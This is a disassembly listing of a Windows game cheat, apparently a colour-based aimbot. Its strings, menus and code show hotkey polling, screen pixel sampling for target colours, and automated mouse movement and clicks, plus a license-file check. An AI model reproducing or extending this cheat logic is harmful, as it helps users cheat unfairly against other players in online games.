movsd xmm12, qword [0x140082bd0]
movsd xmm13, qword [0x140082c20]
cvtdq2pd xmm0, xmm0
divsd xmm0, qword [0x140082c08]
divsd xmm9, xmm0
movd xmm0, dword [0x1400903bc]
mulsd xmm9, qword [0x140082bd8]
cvtdq2pd xmm0, xmm0
divsd xmm0, qword [0x140082c00]
divsd xmm7, xmm0
mulsd xmm7, qword [0x140082bd8]
jmp 0x140007550
mov r15d, 1
nop dword [rax + rax]
lea rcx, [rbp - 0x60]
movzx r14d, r13b
call fcn.140002b60
xorps xmm6, xmm6
mov rcx, qword [rax]
sub rcx, rbx
cvtsi2sd xmm6, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_35
divsd xmm6, qword [0x140082c10]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140007a3d
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp byte [rbp + 0x2fc], 1
mov ecx, 1
movzx r15d, ax
mov word [rsp + 0x44], ax
movzx eax, byte [rsp + 0x40]
movzx esi, sil
cmove esi, ecx
mov dword [rbp + 0x2f8], esi
cmp al, cl
jne 0x140007661
cmp byte [rsp + 0x41], cl
jne 0x1400075d8
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
setne sil
mov dword [rbp + 0x2f8], esi
cmp byte [rsp + 0x42], 1
jne 0x1400075f7
mov ecx, 5
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
setne sil
mov dword [rbp + 0x2f8], esi
cmp byte [rbp - 0x78], 1
jne 0x140007615
mov ecx, 6
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
setne sil
mov dword [rbp + 0x2f8], esi
mov ecx, reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140007657
test r13b, r13b
sete r13b
test r14b, r14b
jne 0x140007645
mov edx, 0x64
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
jmp 0x14000774e
mov edx, Ordinal_301
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
jmp 0x14000774e
movzx eax, byte [rsp + 0x40]
mov ecx, 1
movzx r15d, r13b
test al, al
jne 0x140007748
cmp byte [rsp + 0x41], 1
jne 0x14000768b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14000768b
test sil, sil
sete sil
mov dword [rbp + 0x2f8], esi
cmp byte [rsp + 0x42], 1
movzx r14d, sil
jne 0x1400076d0
mov ecx, 5
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400076d0
test sil, sil
sete sil
mov dword [rbp + 0x2f8], esi
test r14b, r14b
jne 0x1400076c3
mov edx, 0x64
mov ecx, 0x1f4
jmp 0x1400076ca
mov edx, Ordinal_301
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
cmp byte [rbp - 0x78], 1
movzx r14d, sil
jne 0x140007714
mov ecx, 6
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140007714
test sil, sil
sete sil
mov dword [rbp + 0x2f8], esi
test r14b, r14b
jne 0x140007707
mov edx, 0x64
mov ecx, 0x1f4
jmp 0x14000770e
mov edx, Ordinal_301
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140007748
test r13b, r13b
sete r13b
test r15b, r15b
jne 0x14000773b
mov edx, 0x64
mov ecx, 0x1f4
jmp 0x140007742
mov edx, Ordinal_301
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movzx r15d, word [rsp + 0x44]
test sil, sil
je 0x140007908
xorps xmm0, xmm0
lea rcx, [rbp + 0x358]
xor eax, eax
movups xmmword [rbp + 0x358], xmm0
mov dword [rbp + 0x358], Ordinal_33
mov qword [rbp + 0x368], rax
call qword [sym.imp.USER32.dll_GetCursorInfo]
cmp dword [rbp + 0x35c], 1
je 0x140007908
mov eax, dword [rbp + 0x300]
test al, 1
jbe 0x1400077fc
comisd xmm6, xmm11
jbe 0x140007908
lea rcx, [rbp - 0x70]
call fcn.140002b60
lea rcx, [rbp + 0x308]
mov rbx, qword [rax]
call fcn.140002b60
mov ecx, dword [0x140090014]
mov rdi, qword [rax]
mov eax, dword [0x140090010]
test ecx, ecx
jne 0x1400077d6
test eax, eax
je 0x140007908
movd xmm1, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
cvtdq2pd xmm1, xmm1
mulsd xmm0, xmm7
mulsd xmm1, xmm9
cvttsd2si edx, xmm0
cvttsd2si ecx, xmm1
jmp 0x140007902
test al, 2
jbe 0x140007908
comisd xmm6, xmm11
jbe 0x140007908
lea rcx, [rbp + 0x30]
call fcn.140002b60
cmp dword [0x140090014], 0
mov rbx, qword [rax]
jne 0x140007831
cmp dword [0x140090010], 0
je 0x140007908
lea rcx, [rbp + 0x10]
call fcn.140002b60
movd xmm0, dword [0x1400903bc]
xorps xmm1, xmm1
cvtdq2pd xmm0, xmm0
mov rcx, qword [rax]
sub rcx, rdi
divsd xmm0, qword [0x140082c00]
cvtsi2sd xmm1, rcx
mulsd xmm0, xmm15
divsd xmm1, qword [0x140082c10]
divsd xmm1, qword [0x140082bf8]
mulsd xmm1, xmm0
test r15w, r15w
jne 0x140007881
movaps xmm3, xmm8
jmp 0x140007889
movaps xmm3, xmm15
minsd xmm3, xmm1
xorps xmm2, xmm2
xorps xmm1, xmm1
cvtsi2sd xmm2, dword [0x140090014]
cvtsi2sd xmm1, dword [0x140090010]
mulsd xmm2, xmm9
addsd xmm1, xmm3
mulsd xmm2, qword [rbp + 0x380]
mulsd xmm1, xmm7
movaps xmm0, xmm2
andps xmm0, xmm14
comisd xmm10, xmm0
mulsd xmm1, qword [rbp + 0x380]
jbe 0x1400078db
comisd xmm2, xmm8
jbe 0x1400078d7
movaps xmm2, xmm12
jmp 0x1400078db
movaps xmm2, xmm13
movaps xmm0, xmm1
andps xmm0, xmm14
comisd xmm10, xmm0
jbe 0x1400078fa
comisd xmm1, xmm8
jbe 0x1400078f6
movaps xmm1, xmm12
jmp 0x1400078fa
movaps xmm1, xmm13
cvttsd2si edx, xmm1
cvttsd2si ecx, xmm2
call qword [0x140090030]
cmp r13b, 1
jne 0x140007542
mov r15d, 0xfffffffe
nop dword [rax + rax]
mov esi, 0xfffffffd
nop word [rax + rax]
lea edx, [rsi + 0x3c0]
mov rcx, r12
lea r8d, [r15 + 0x21c]
call qword [sym.imp.GDI32.dll_GetPixel]
mov r11d, eax
movzx r9d, ax
mov r10d, eax
shr r11d, 0x10
shr r9w, 8
mov eax, 0xaa
cmp r9w, ax
jae 0x140007a1a
movzx r8d, r10b
mov ecx, r8d
movzx edx, r11b
sub ecx, edx
mov eax, ecx
neg eax
cmovs eax, ecx
cmp r9w, 0x78
jb 0x1400079f5
cmp eax, 8
jg 0x1400079af
movzx eax, r9w
sub r8d, eax
cmp r8d, 0x32
jl 0x1400079af
sub edx, eax
cmp edx, 0x32
jl 0x1400079af
cmp r10b, 0x69
jb 0x1400079af
cmp r11b, 0x69
jb 0x1400079af
mov eax, 1
jmp 0x1400079b1
xor eax, eax
test eax, eax
je 0x140007a1a
mov r15d, 1
mov ecx, r15d
call qword [0x140090038]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [r15 + 1]
call qword [0x140090038]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [r15 + 0x63]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [rbp + 0x2f8]
jmp 0x140007550
cmp eax, 0xd
jg 0x140007a1a
movzx eax, r9w
sub r8d, eax
cmp r8d, 0x3c
jl 0x140007a1a
sub edx, eax
cmp edx, 0x3c
jl 0x140007a1a
cmp r10b, 0x6e
jb 0x140007a1a
cmp r11b, 0x64
jae 0x1400079b5
inc esi
cmp esi, 3
jl 0x140007930
inc r15d
cmp r15d, 2
jl 0x140007920
mov esi, dword [rbp + 0x2f8]
jmp 0x140007542
mov edx, 0x1f4
lea ecx, [rdx + 0x17]
call qword [sym.imp.KERNEL32.dll_Beep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdi, qword [rbp + 0x468]
cmp r14, 0xf
lea rcx, [rbp + 0x468]
cmova rcx, rdi
cmp r13, 2
jne 0x140007a83
mov r8, r13
lea rdx, [0x1400815c4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007ad8
xorps xmm0, xmm0
lea rdx, str.config.ini
xorps xmm1, xmm1
lea rcx, [rsp + 0x48]
mov r8d, 0xa
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
call fcn.14000bb00
cmp qword [rsp + 0x60], 0xf
lea rcx, [rsp + 0x48]
mov eax, 1
cmova rcx, qword [rsp + 0x48]
xor edx, edx
mov dword [rbp + 0x2fc], eax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access_s]
test eax, eax
jne 0x140007ad8
xor r13b, r13b
jmp 0x140007ae4
mov r13b, 1
test byte [rbp + 0x2fc], r13b
je 0x140007b24
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140007b24
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b1f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ed60
test r13b, r13b
je 0x140009519
xorps xmm0, xmm0
lea rdx, str.C:GG.lic
xorps xmm1, xmm1
lea rcx, [rsp + 0x48]
mov r8d, 9
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
call fcn.14000bb00
cmp qword [rsp + 0x60], 0xf
lea rcx, [rsp + 0x48]
lea rdx, [0x1400807c4]
cmova rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x140007b85
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov bl, 1
jmp 0x140007b87
xor bl, bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140007bc7
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007bc2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007bc2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ed60
test bl, bl
je 0x140007c32
lea rdx, str.C:GG.lic
lea rcx, [rbp - 0x58]
call fcn.14000a930
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140004ee0
mov rdx, rax
lea rcx, [rbp + 0x310]
call fcn.14000a8a0
lea rcx, [rsp + 0x68]
call fcn.1400021a0
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x58]
call fcn.14000a970
mov rdx, rax
lea rcx, [0x140090140]
call fcn.14001a710
cmp byte [0x140090350], 0
jne 0x140007c32
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____________
xor sil, sil
mov byte [rsp + 0x44], sil
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____ENTER_YOUR_CONFIG____
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____SENSITIVITY:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x378]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___double____ptr64____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____SMOOTHING:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x380]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___double____ptr64____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____MODE:
xor edi, edi
mov dword [rbp + 0x2f8], edi
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x2f8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.CONFIGURATION_SUCCESSFULLY_LOADED._LOADING_CHEAT_OPTIONS.
call fcn.1400022e0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
lea r8d, [rdi + 0x25]
xor eax, eax
lea rdx, str.____TO_FINISH_COMMIT_YOUR_CHANGES____
xorps xmm1, xmm1
mov qword [rbp + 0x410], rax
lea rcx, [rsp + 0x68]
movups xmmword [rbp + 0x390], xmm0
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.14000bb00
xorps xmm0, xmm0
lea rdx, str.___COLOR_AIM_MENU___
xorps xmm1, xmm1
lea rcx, [rsp + 0x48]
mov r8, r12
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
call fcn.14000bb00
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x390]
call fcn.14000d890
xorps xmm0, xmm0
lea r8d, [rdi + 0x33]
xorps xmm1, xmm1
lea rdx, str._____NOTHING_IS_DEFAULT_SET_EVERY_SETTING_HERE_____
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
lea rcx, [rsp + 0x68]
call fcn.14000bb00
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x390]
call fcn.14000da30
xorps xmm0, xmm0
lea r8d, [rdi + 0x13]
xorps xmm1, xmm1
lea rdx, str._TAB__SET_AIM_COLOR
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.14000bb00
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x390]
call fcn.14000da30
xorps xmm0, xmm0
lea rdx, str._F1__SET_SNAPPING_AREA
xorps xmm1, xmm1
lea rcx, [rsp + 0x68]
mov r8, r12
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.14000bb00
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x390]
call fcn.14000da30
xorps xmm0, xmm0
lea r8d, [rdi + 0x13]
xorps xmm1, xmm1
lea rdx, str._F2__SET_TOGGLE_KEY
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.14000bb00
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x390]
call fcn.14000da30
xorps xmm0, xmm0
lea r8d, [rdi + 0xc]
xorps xmm1, xmm1
lea rdx, str._F3__SET_FOV
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.14000bb00
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x390]
call fcn.14000da30
xorps xmm0, xmm0
lea r8d, [rdi + 0x1a]
xorps xmm1, xmm1
lea rdx, str._ALT__CHANGE_CONFIGURATION
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.14000bb00
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x390]
call fcn.14000da30
xorps xmm0, xmm0
lea r8d, [rdi + 0x17]
xorps xmm1, xmm1
lea rdx, str._ESCAPE__COMMIT_CHANGES
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.14000bb00
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x390]
call fcn.14000da30
mov rdx, qword [rbp + 0x3b0]
mov dword [rbp + 0x358], edi
mov qword [rbp + 0x35c], Ordinal_79
mov qword [rbp + 0x364], 0x42c60000
mov byte [rbp + 0x36c], sil
cmp rdx, qword [rbp + 0x3b8]
je 0x140007fae
movups xmm0, xmmword [rbp + 0x358]
movsd xmm1, qword [rbp + 0x368]
movups xmmword [rdx], xmm0
movsd qword [rdx + 0x10], xmm1
add qword [rbp + 0x3b0], 0x18
jmp 0x140007fc1
lea r8, [rbp + 0x358]
lea rcx, [rbp + 0x3a8]
call fcn.14000e030
mov rdx, qword [rbp + 0x3c8]
mov eax, 1
mov dword [rbp + 0x300], eax
cmp rdx, qword [rbp + 0x3d0]
je 0x140007fe8
mov dword [rdx], eax
add qword [rbp + 0x3c8], 4
jmp 0x140007ffb
lea r8, [rbp + 0x300]
lea rcx, [rbp + 0x3c0]
call fcn.14000dea0
lea rcx, [0x140082ba0]
mov r13d, edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbp + 0x3f0], 0xf
lea rdx, [rbp + 0x3d8]
mov r8, qword [rbp + 0x3e8]
cmova rdx, qword [rbp + 0x3d8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400026f0
mov rcx, rax
lea rdx, [0x140082ba4]
call fcn.1400022e0
mov rbx, qword [rbp + 0x3c8]
mov r12, qword [rbp + 0x3c0]
movsd xmm6, qword [0x140082bf0]
mov qword [rbp + 0x308], rbx
cmp r12, rbx
je 0x1400081b8
nop word [rax + rax]
mov eax, dword [r12]
test eax, eax
jne 0x140008097
movsxd rax, r13d
lea rcx, [rax + rax*4]
mov rax, qword [rbp + 0x390]
lea rcx, [rax + rcx*8]
call fcn.140001e50
inc r13d
jmp 0x1400081a8
cmp eax, 1
jne 0x1400081a8
mov rsi, qword [rbp + 0x3a8]
cmp byte [rsi + rdi + 0x14], 0
je 0x1400081a4
movss xmm1, dword [rsi + rdi + 0xc]
lea rdx, [0x1400024b0]
subss xmm1, dword [rsi + rdi + 8]
movss xmm0, dword [rsi + rdi + 0x10]
divss xmm0, xmm1
movss dword [rsi + rdi], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140082ba8]
call fcn.1400022e0
mov eax, dword [rsi + rdi + 4]
xor ebx, ebx
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [rsi + rdi]
cvttss2si r14d, xmm0
test eax, eax
jle 0x140008142
nop dword [rax + rax]
cmp ebx, r14d
jge 0x14000811e
lea rdx, [0x1400807dc]
jmp 0x14000812e
lea rdx, [0x140082bac]
je 0x14000812e
lea rdx, [0x140080834]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400022e0
inc ebx
cmp ebx, dword [rsi + rdi + 4]
jl 0x140008110
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400807f8]
call fcn.1400022e0
movss xmm0, dword [rsi + rdi]
mov rcx, rax
cvtps2pd xmm0, xmm0
mulsd xmm0, xmm6
cvttsd2si edx, xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140082bb0]
call fcn.1400022e0
lea rdx, [0x1400022d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [rbp + 0x308]
add rdi, 0x18
add r12, 4
cmp r12, rbx
jne 0x140008070
xor sil, sil
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140082ba4]
call fcn.1400022e0
cmp qword [rbp + 0x410], 0xf
lea rdx, [rbp + 0x3f8]
mov r8, qword [rbp + 0x408]
mov rcx, rax
cmova rdx, qword [rbp + 0x3f8]
call fcn.1400026f0
mov r14d, dword [rbp - 0x78]
xor r12b, r12b
xor r13b, r13b
nop dword [rax + rax]
mov edi, 1
nop word [rax + rax]
mov ecx, 9
movzx ebx, sil
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140008618
mov r8d, edi
lea rcx, [rbp + 0x390]
mov edx, edi
call fcn.14000de50
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
xor r8d, r8d
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____ENTER_COLOR__CASE_SENSITIVE___RED__YELLOW__PURPLE____RED_NOT_FUNCTIONAL___:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x428]
call fcn.14000b580
mov rdx, qword [rbp + 0x440]
lea rax, [rbp + 0x428]
mov rcx, qword [rbp + 0x428]
cmp rdx, 0xf
mov r8, qword [rbp + 0x438]
cmova rax, rcx
cmp r8, 3
jne 0x14000852a
cmp word [rax], 0x4552
jne 0x14000852a
cmp byte [rax + 2], 0x44
jne 0x14000852a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____RED_ISNT_FUNCTIONAL__GO_BACK_AND_CHANGE_YOUR_CHOICE____
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, reloc.WS2_32.dll_listen
lea rcx, [rbp + 0x390]
mov edx, edi
call fcn.14000de50
xor r14d, r14d
lea rcx, [0x140082ba0]
mov r13d, r14d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbp + 0x3f0], 0xf
lea rdx, [rbp + 0x3d8]
mov r8, qword [rbp + 0x3e8]
cmova rdx, qword [rbp + 0x3d8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400026f0
mov rcx, rax
lea rdx, [0x140082ba4]
call fcn.1400022e0
mov rbx, qword [rbp + 0x3c8]
mov r12, qword [rbp + 0x3c0]
mov qword [rbp - 0x60], rbx
cmp r12, rbx
je 0x1400084dc
mov edi, r14d
nop dword [rax + rax]
mov eax, dword [r12]
test eax, eax
jne 0x1400083b7
movsxd rax, r13d
lea rcx, [rax + rax*4]
mov rax, qword [rbp + 0x390]
lea rcx, [rax + rcx*8]
call fcn.140001e50
inc r13d
jmp 0x1400084c5
cmp eax, 1
jne 0x1400084c5
mov rsi, qword [rbp + 0x3a8]
cmp byte [rsi + rdi + 0x14], 0
je 0x1400084c1
movss xmm1, dword [rsi + rdi + 0xc]
lea rdx, [0x1400024b0]
subss xmm1, dword [rsi + rdi + 8]
movss xmm0, dword [rsi + rdi + 0x10]
divss xmm0, xmm1
movss dword [rsi + rdi], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140082ba8]
call fcn.1400022e0
mov eax, dword [rsi + rdi + 4]
xor ebx, ebx
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [rsi + rdi]
cvttss2si r14d, xmm0
test eax, eax
jle 0x140008462
nop dword [rax + rax]
cmp ebx, r14d
jge 0x14000843e
lea rdx, [0x1400807dc]
jmp 0x14000844e
lea rdx, [0x140082bac]
je 0x14000844e
lea rdx, [0x140080834]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400022e0
inc ebx
cmp ebx, dword [rsi + rdi + 4]
jl 0x140008430
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400807f8]
call fcn.1400022e0
movss xmm0, dword [rsi + rdi]
mov rcx, rax
cvtps2pd xmm0, xmm0
mulsd xmm0, xmm6
cvttsd2si edx, xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140082bb0]
call fcn.1400022e0
lea rdx, [0x1400022d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
